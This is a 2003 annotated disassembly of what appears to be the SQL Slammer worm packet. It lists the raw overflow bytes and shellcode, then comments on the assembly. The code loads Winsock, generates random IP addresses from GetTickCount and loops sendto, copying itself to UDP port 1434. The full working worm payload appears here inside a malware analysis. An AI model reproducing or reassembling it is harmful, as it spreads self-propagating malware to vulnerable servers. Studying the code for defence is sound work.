code analysis by mat@monkey.org 2003.1.25 ---------------------------------------- ; Segment type: Pure code seg000 segment byte public 'CODE' use32 assume cs:seg000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing db 0D4h ; ? db 0C3h ; ? db 0B2h ; ? db 0A1h ; ? db 2 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 88h ; ? unk_11 db 13h ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0Dh ; db 40h ; @ ; ip? db 32h ; 2 db 3Eh ; > db 0FFh ; db 7Bh ; { db 2 ; db 0 ; db 0A2h ; ? ; ip src db 1 ; db 0 ; db 0 ; db 0A2h ; ? ; ip dst db 1 ; db 0 ; db 0 ; db 0 ; db 0E0h ; ? db 81h ; ? db 21h ; ! db 0E1h ; ? db 66h ; f db 0 ; db 5 ; db 0DDh ; ? db 79h ; y db 0E8h ; ? db 70h ; p db 8 ; db 0 ; db 45h ; E db 0 ; db 1 ; db 94h ; ? db 31h ; 1 db 27h ; ' db 0 ; db 0 ; db 74h ; t db 11h ; db 53h ; S db 0CEh ; ? db 93h ; ? db 20h ; db 81h ; ? db 78h ; x db 0D1h ; ? db 0A6h ; ? db 0DAh ; ? db 24h ; $ db 0Fh ; db 0B0h ; ? db 5 ; db 9Ah ; ? db 1 ; db 80h ; € db 65h ; e db 37h ; 7 db 4 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 0DCh ; ? db 0C9h ; ? db 0B0h ; ? db 42h ; B db 0EBh ; ? db 0Eh ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 1 ; db 70h ; p db 0AEh ; ? db 42h ; B db 1 ; db 70h ; p db 0AEh ; ? db 42h ; B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ? nop nop nop nop nop nop nop nop push 42B0C9DCh mov eax, 1010101h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ? dd 18B1C931h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ? loc_DD: ; CODE XREF: seg000:000000DEj push eax loop loc_DD xor eax, 5010101h push eax mov ebp, esp push ecx push 6C6C642Eh ; .dll push 32336C65h ; el32 push 6E72656Bh ; kern push ecx push 746E756Fh ; ount push 436B6369h ; ickC push 54746547h ; GetT mov cx, 6C6Ch ; ll push ecx push 642E3233h ; 32.d push 5F327377h ; ws2_ mov cx, 7465h ; et push ecx push 6B636F73h ; sock mov cx, 6F74h ; to push ecx push 646E6573h ; send ; ; Stack is now ; ; ebp ; -10: kernel32.dll ; -20: GetTickCount____ ; -2C: ws2_32.dll__ ; -34: socket__ ; -3C: sendto__ ; mov esi, 42AE1018h ; LoadLibrary address? lea eax, [ebp-2Ch] ; "ws2_32.dll" push eax call dword ptr [esi] ; call LoadLibrary("ws2_32.dll") push eax ; ws2_32.dll handle lea eax, [ebp-20h] ; "GetTickCount" push eax lea eax, [ebp-10h] ; "kernel32.dll" push eax call dword ptr [esi] ; call LoadLibrary("kernel32.dll") push eax ; kernel32.dll handle mov esi, 42AE1010h ; GetProcAddress? mov ebx, [esi] mov eax, [ebx] cmp eax, 51EC8B55h ; Check if this GetProcAddress value is valid jz short loc_157 ; GetProcAddress(kernel32.dll handle,"GetTickCount") mov esi, 42AE101Ch ; GetProcAddress loc_157: ; CODE XREF: seg000:00000150j call dword ptr [esi] ; GetProcAddress(kernel32.dll handle,"GetTickCount") call eax ; call GetTickCount xor ecx, ecx ; ecx=0 push ecx ; pad push ecx ; pad push eax ; return value of GetTickCount ; -> ebp-4c: sin_addr ; xor ecx, 9B040103h ; filling struct sockaddr_in ; sin_family ; sin_port xor ecx, 1010101h ; ebp-50: 9a050002 ; ; sin_port=9a05 -> 59a=1434 ; sin_family=2 push ecx lea eax, [ebp-34h] ; "socket" address push eax mov eax, [ebp-40h] ; ws_32.dll handle push eax call dword ptr [esi] ; GetProcAddress(ws2_32.dll handle,"socket") push 11h push 2 push 2 call eax ; call socket(2,2,17) push eax lea eax, [ebp-3Ch] ; "sendto" address push eax mov eax, [ebp-40h] ; ws2_32.dll handle push eax call dword ptr [esi] ; GetProcAddress(ws2_32.dll handle,"sendto") mov esi, eax ; esi=sendto address or ebx, ebx xor ebx, 0FFD9613Ch ; Stack is now ; ; ebp ; -10: kernel32.dll ; -20: GetTickCount____ ; -2C: ws2_32.dll__ ; -34: socket__ ; -3C: sendto__ ; -40: ws2_32.dll handle ; ; struct sockaddr_in ; ----------------------------------------- ; -44: 0 ; -48: 0 ; -4c: GetTickCount result: sin_addr ; -4e: 9a05: sin_port ; -50: 0002: sin_family ; ----------------------------------- ; ; sin_port=9a05 -> 59a=1434 ; sin_family=2 ; ----------------------------------------- ; ; /* Structure describing an Internet (IP) socket address. */ ; #define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */ ; struct sockaddr_in { ; sa_family_t sin_family; /* Address family */ ; unsigned short int sin_port; /* Port number */ ; struct in_addr sin_addr; /* Internet address */ ; ; /* Pad to size of `struct sockaddr'. */ ; unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) - ; sizeof(unsigned short int) - sizeof(struct in_addr)]; ; }; ; packet_sendto_loop: ; CODE XREF: seg000:000001C8j mov eax, [ebp-4Ch] ; struct sockaddr_in -> sin_addr lea ecx, [eax+eax*2] ; get random address lea edx, [eax+ecx*4] shl edx, 4 add edx, eax shl edx, 8 sub edx, eax lea eax, [eax+edx*4] add eax, ebx mov [ebp-4Ch], eax ; sin_addr setting push 10h ; socklen_t tolen=0x10 lea eax, [ebp-50h] push eax ; struct sockaddr_in *to xor ecx, ecx push ecx ; flags=0 xor cx, 178h push ecx ; len=178h lea eax, [ebp+3] push eax ; data=start of this code mov eax, [ebp-54h] push eax ; socket handle call esi ; call sendto jmp short packet_sendto_loop ; struct sockaddr_in -> sin_addr seg000 ends end